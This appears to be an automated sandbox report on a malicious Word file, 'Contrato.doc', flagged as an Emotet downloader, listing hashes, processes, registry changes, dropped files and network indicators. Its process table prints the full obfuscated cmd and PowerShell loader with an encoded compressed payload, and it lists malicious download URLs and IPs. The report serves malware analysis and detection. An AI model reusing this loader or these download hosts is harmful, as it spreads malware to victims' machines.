analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| File name: | Contrato.doc |
| Full analysis: | https://app.any.run/tasks/48080f56-de64-4824-83a6-e77112da5dee |
| Verdict: | Malicious activity |
| Threats: | Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. |
| Analysis date: | November 08, 2018, 15:11:22 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Jonathan-PC, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Nov 7 11:39:00 2018, Last Saved Time/Date: Wed Nov 7 11:39:00 2018, Number of Pages: 1, Number of Words: 2, Number of Characters: 13, Security: 0 |
| MD5: | EA23421BCB39EE2D49842594B1D00447 |
| SHA1: | D32209E80EBA762D997548391C19480F30B868FB |
| SHA256: | 1D8A360690FFD73F8D50E98208CEB5AB4E1828987F808C5740005FBAE11F43F1 |
| SSDEEP: | 768:8LwVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9/isfNNM3rHKS/:80ocn1kp59gxBK85fBt+a9dc2 |
MALICIOUS
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 2816)
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2816)
SUSPICIOUS
Executes PowerShell scripts
- CMD.exe (PID: 2896)
Creates files in the user directory
- powershell.exe (PID: 3456)
Executes application which crashes
- powershell.exe (PID: 3456)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2816)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2816)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| CompObjUserType: | Microsoft Word 97-2003 Document |
|---|---|
| CompObjUserTypeLen: | 32 |
| HeadingPairs: |
|
| TitleOfParts: | - |
| HyperlinksChanged: | No |
| SharedDoc: | No |
| LinksUpToDate: | No |
| ScaleCrop: | No |
| AppVersion: | 16 |
| CharCountWithSpaces: | 14 |
| Paragraphs: | 1 |
| Lines: | 1 |
| Company: | - |
| CodePage: | Windows Latin 1 (Western European) |
| Security: | None |
| Characters: | 13 |
| Words: | 2 |
| Pages: | 1 |
| ModifyDate: | 2018:11:07 11:39:00 |
| CreateDate: | 2018:11:07 11:39:00 |
| TotalEditTime: | - |
| Software: | Microsoft Office Word |
| RevisionNumber: | 1 |
| LastModifiedBy: | - |
| Template: | Normal.dotm |
| Comments: | - |
| Keywords: | - |
| Author: | Jonathan-PC |
| Subject: | - |
| Title: | - |
Total processes
37
Monitored processes
4
Malicious processes
1
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2816 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Contrato.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
| 2896 | CMD C:\wINdows\systEM32\cMd /c "SEt KQI= (nEW-oBJecT SySTem.Io.StReaMReaDEr( ( nEW-oBJecT io.cOMPReSsion.DeFLAtEStReAm([iO.MEmORYstrEAm] [SyStEm.CONVeRT]::fROMBASe64STRing( 'PZBba8JAEIX/Sh4W1mDdVLBaXAK2FS8t2IpILfQlyY5mc9lJ48TYhvz3JlL7Ouc7H5xh0WbqGih76EcQkLUCEu/gPyUaDEk22ymXh0TZ2HF8jQRHEgEKrZyzWr3Ny9G6P/mL4yKNU98zqjCHhkmdWbZ4SdV+dwUIgtBgiahaRQzOcA63D/Hzqb++IgbwkGORCY3OcAuLox++/td1dswx9Iy+2DH5+hgNBlxsskRTh0+4Ldl2rS3X4vd3Ay4ZPZYuA3MaE6RZl3/ybpt3uYAzcLnHHLwg7LDoZ2VpY7VT7Yry74o1LxFTLE2CnprpBC7MjdUKbbk0J4yht2ykl4v0G08s68CjIKzq+hc=' ), [syStEM.iO.ComPReSsION.cOMPRESsIonMODe]::DeCoMPreSs) ) ,[TeXt.enCOdINg]::AsCII) ).REAdtOEnD( ) ^|^&( ([strIng]$verBOsEpreFeRence)[1,3]+'X'-JoiN'')&& PoWErshELL ^& ( \"{0}{1}\" -f'SET-ItE','m' ) ('Va' +'RI'+ 'AbLE:jW1V') ( [tYpE](\"{1}{0}{2}\" -f'nVi','E','rONMENT') ) ; ^&( ${En`V:`comS`PeC}[4,24,25]-join'' )( ( ( . ( \"{1}{0}{2}{3}\" -f'-ch','gEt','IlDiT','EM' ) ( 'vA' + 'rI'+'aBle:jW1v' ) ).VALue::( \"{3}{0}{1}{4}{6}{5}{2}\" -f 'Vir','On','BlE','gEten','Me','vaRIa','NT' ).Invoke( 'kqi',( \"{0}{2}{1}\" -f 'pro','sS','CE' ) ) ) )" | C:\Windows\system32\CMD.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 3456 | PoWErshELL & ( \"{0}{1}\" -f'SET-ItE','m' ) ('Va' +'RI'+ 'AbLE:jW1V') ( [tYpE](\"{1}{0}{2}\" -f'nVi','E','rONMENT') ) ; &( ${En`V:`comS`PeC}[4,24,25]-join'' )( ( ( . ( \"{1}{0}{2}{3}\" -f'-ch','gEt','IlDiT','EM' ) ( 'vA' + 'rI'+'aBle:jW1v' ) ).VALue::( \"{3}{0}{1}{4}{6}{5}{2}\" -f 'Vir','On','BlE','gEten','Me','vaRIa','NT' ).Invoke( 'kqi',( \"{0}{2}{1}\" -f 'pro','sS','CE' ) ) ) ) | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | CMD.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3164 | "C:\Windows\system32\ntvdm.exe" -i1 | C:\Windows\system32\ntvdm.exe | — | powershell.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: NTVDM.EXE Exit code: 3221225477 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
1 712
Read events
1 300
Write events
402
Delete events
10
Modification events
| (PID) Process: | (2816) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | ?/j |
Value: 3F2F6A00000B0000010000000000000000000000 | |||
| (PID) Process: | (2816) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2816) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2816) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1298661391 | |||
| (PID) Process: | (2816) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1298661504 | |||
| (PID) Process: | (2816) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1298661505 | |||
| (PID) Process: | (2816) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 000B00001CA9775A7577D40100000000 | |||
| (PID) Process: | (2816) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | (1j |
Value: 28316A00000B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2816) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | (1j |
Value: 28316A00000B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2816) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
0
Suspicious files
2
Text files
2
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2816 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR93BF.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3456 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1Z2DF4T07YEAAHJY6CXR.temp | — | |
MD5:— | SHA256:— | |||
| 3164 | ntvdm.exe | C:\Users\admin\AppData\Local\Temp\scsAE2E.tmp | — | |
MD5:— | SHA256:— | |||
| 2816 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF079799764EEF03A7.TMP | — | |
MD5:— | SHA256:— | |||
| 2816 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{6AB743EE-532C-4517-8A71-7029BE4923F5}.tmp | — | |
MD5:— | SHA256:— | |||
| 2816 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{C74609E3-E62B-445E-B7A1-391E3D6105C3}.tmp | — | |
MD5:— | SHA256:— | |||
| 3456 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:3C6A7AAE234382390B6B52F47ECA1BAA | SHA256:C8D6BF40DC644B318B2D69E1A1CD3EC9CCFDED8ADE326D33CFAA2C4E3187FCD2 | |||
| 3456 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF5d9f0a.TMP | binary | |
MD5:3C6A7AAE234382390B6B52F47ECA1BAA | SHA256:C8D6BF40DC644B318B2D69E1A1CD3EC9CCFDED8ADE326D33CFAA2C4E3187FCD2 | |||
| 3456 | powershell.exe | C:\Users\admin\AppData\Local\Temp\854.exe | html | |
MD5:0357AA49EA850B11B99D09A2479C321B | SHA256:0FF0B7FCB090C65D0BDCB2AF4BBD2C30F33356B3CE9B117186FA20391EF840A3 | |||
| 2816 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$ntrato.doc | pgc | |
MD5:B867A31586694C2CB07CAB10CEB20C78 | SHA256:83F4583022FB98C73AD12BA8927D8F071279C3DCE7756F7D565C0216856D11DC | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
3
DNS requests
3
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3456 | powershell.exe | GET | 404 | 103.66.86.36:80 | http://kumkmbandung.com/FpHKmdfX | ID | html | 20.0 Kb | malicious |
3456 | powershell.exe | GET | 404 | 67.205.13.49:80 | http://biotest.co.id/xdNPGw7Q1 | US | html | 326 b | malicious |
3456 | powershell.exe | GET | 200 | 108.179.232.15:80 | http://technowood.co.ke/cgi-sys/suspendedpage.cgi | US | html | 494 b | malicious |
3456 | powershell.exe | GET | 302 | 108.179.232.15:80 | http://technowood.co.ke/6Ge0AkJv1Q | US | html | 299 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3456 | powershell.exe | 67.205.13.49:80 | biotest.co.id | New Dream Network, LLC | US | malicious |
3456 | powershell.exe | 108.179.232.15:80 | technowood.co.ke | CyrusOne LLC | US | malicious |
3456 | powershell.exe | 103.66.86.36:80 | kumkmbandung.com | CV. INDONETMEDIA CORPORATION | ID | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
biotest.co.id |
| malicious |
kumkmbandung.com |
| malicious |
technowood.co.ke |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3456 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader |
3456 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader |
3456 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader |